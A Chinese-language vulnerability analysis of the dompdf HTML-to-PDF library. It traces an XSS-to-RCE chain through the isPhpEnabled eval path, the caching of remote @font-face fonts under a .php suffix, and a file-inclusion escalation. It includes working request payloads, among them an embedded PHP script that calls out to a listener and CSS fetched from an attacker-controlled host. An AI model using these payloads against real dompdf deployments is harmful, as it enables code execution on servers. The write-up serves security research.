0x00 简介
dompdf简介
一句话,主要功能就是讲html转换成pdf文档,下面是使用情况
| Library | Stars | Forks | Dependent Repos |
|---|---|---|---|
| dompdf | 8.6k | 1.6k | 59.2k |
| snappy | 4k | 421 | - |
| mpdf | 3.5k | 886 | 16.6k |
| tcpdf | 3.2k | 1.3k | 14.5k |
| tc-lib-pdf | 1.2k | 180 | 85 |
漏洞简介
原作者连接:From XSS to RCE (dompdf 0day)
这里面主要提到了两个配置参数isPhpEnabled 和isRemoteEnabled
- 第一个主要就是用来解析
php代码的 - 第二个是用来加载远程的文件的,比如img标签加载远程图片,link标签加载远程css
影响
正在使用dompdf版本 ≤ 0.8.5,或$isRemoteEnabled设置为true。
请注意,版本 ≤ 0.8.5 不需要$isRemoteEnabled设置为易受攻击,
因为即使设置已停用,它们也会加载某些远程元素(例如字体)
具体影响版本是≤1.2.0
在1.2.1中进行了修补,方式就是对生成的文件名进行了固定

0x01 环境搭建
这是使用composer安装
1 | composer require dompdf/dompdf |
安装完成之后就包含三个模块dompdf、phenx、sabberworm

测试代码
1 |
|
0x02 isPhpEnabled参数
首先看一下这个参数,参数的作用就是解析php代码的
实际情况中遇到的应该不多,就简单说一下
使用方式在参数上面有介绍

下面是解析的地方


最后会通过eval执行代码

测试复现
当然这里为了直接在网页展示,注释了一块代码
这块代码在,会直接下载pdf

测试payload
1 | test=<html><body><script%20type="text/php">file_get_contents(%27http://127.0.0.1:7777/asdasda%27);</script><h1>aaaaa</h1></body></html> |
执行成功

0x03 isRemoteEnabled参数
相比之下,这个参数的可用度大大增加
加载一个远程的图片,或者link标签加载一个远程的css还是很正常的,不开启,就加载不上
在作者的原文中,实际上漏洞的原因就是允许加载远程的字体文件,进行缓存,但是在缓存的时候对后缀没有限制,导致加载的远程字体文件可以是php后缀,造成了缓存漏洞
加载流程
首先进入在render后进入了processHtml方法,开始解析html数据

我们用link标签
从link标签的href中取出要加载的css地址

到Stylesheet类的load_css_file方法中进行加载
这里会有是否允许远程加载的判断(这里目前未绕过去),获取到文件内容之后进行_parse_css进行css的解析

通过正则匹配,匹配出css的语法
这里重点关注的就是font-face选项

下面再匹配到之后就要进入关键方法了

这里加载远程css方法共下面几个参数
font-familyfont-weightfont-stylesrc:url
构造css代码,其实这里的font-weight和font-style,可以随意,没有影响
1 | @font-face { |
文件写入
首先看看存在几个写文件的地方
字体缓存索引
这里有一个可空参数就是font-family,但是被转义了

图片缓存
后缀不可控

openFont
内容完全不可控

cache内容为

当然这里依然会产生php文件,介绍一下流程
流程
方法被selectFont方法调用


在Text类中,当然很多类都有调用

那么这是个处理什么的标签呢
textarea
生成php的方式
首先通过加载远程css生成一个ufm文件,注意font-family的值
1 | @font-face { |
会生成两个文件
1 | test=<html><link%20href="http://192.168.1.220:8220/a.css"%20rel="stylesheet"%20type="text/css"><body><h1>aaaaa</h1></body></html> |

修改a.css
1 | @font-face { |
注意url不要变动,这样md5就是一样的

通过textarea加载生成的字体,注意font-family的值
1 | test=<h1>aaaa</h1><textarea%20rows="3"%20cols="20"%20style="font-family:%27test%27">aaaaaa</textarea><link%20href="http://192.168.1.220:8220/a.css"%20rel="stylesheet"%20type="text/css"> |
当然生成了个没啥用的文件。。

这里为接下来的优化提供了帮助
远程字体的缓存
这个也就上上面的url的地址

但是这里会对,加载的文件进行验证,绕过还是很简单的,只验证了部分字符

复现,修改css文件

在vendor\dompdf\dompdf\lib\fonts目录下生成了缓存文件
test_normal_961b66a3ac2afd9ab8798ff94864d964.php

限制
- 开启远程加载,这个不是问题
- 存在xss,毕竟是转化html文档,可能性也不小
- dompdf 安装在可通过网络访问的目录中。例如,如果使用Composer将库安装在 docroot 内的某处而没有明确禁止访问该
vendor文件夹,这点基本就不太可能了,尤其是在框架中
0x04 升级
我们需要一个文件包含
上面的两种写文件的方式完全可以结合
然后会存在一个文件包含的行为

这里需要注意的是最后写文件的时候是部分可控,并且在return后面

这个时候回忆font对文件的验证
被框住的两处是可以被利用的

复现
首先生成一个可控的ufm文件,第三处需要php大于7.4,因为调用了mb_str_split方法
第一处的话存在编码问题,直接用第二处, 正好true是布尔类型
1 |
|
修改css文件
1 | @font-face { |
生成了文件

修改css文件
1 | @font-face { |

访问
1 | test=<h1>aaaa</h1><textarea%20rows="3"%20cols="20"%20style="font-family:%27test%27">aaaaaa</textarea><link%20href="http://192.168.1.220:8220/a.css"%20rel="stylesheet"%20type="text/css"> |
成功被包含,接收到了访问请求
0x05 end
至于远程的问题,暂时没看,在加载远程文件的问题上,使用的file_get_contents
可以触发反序列化,下篇分析








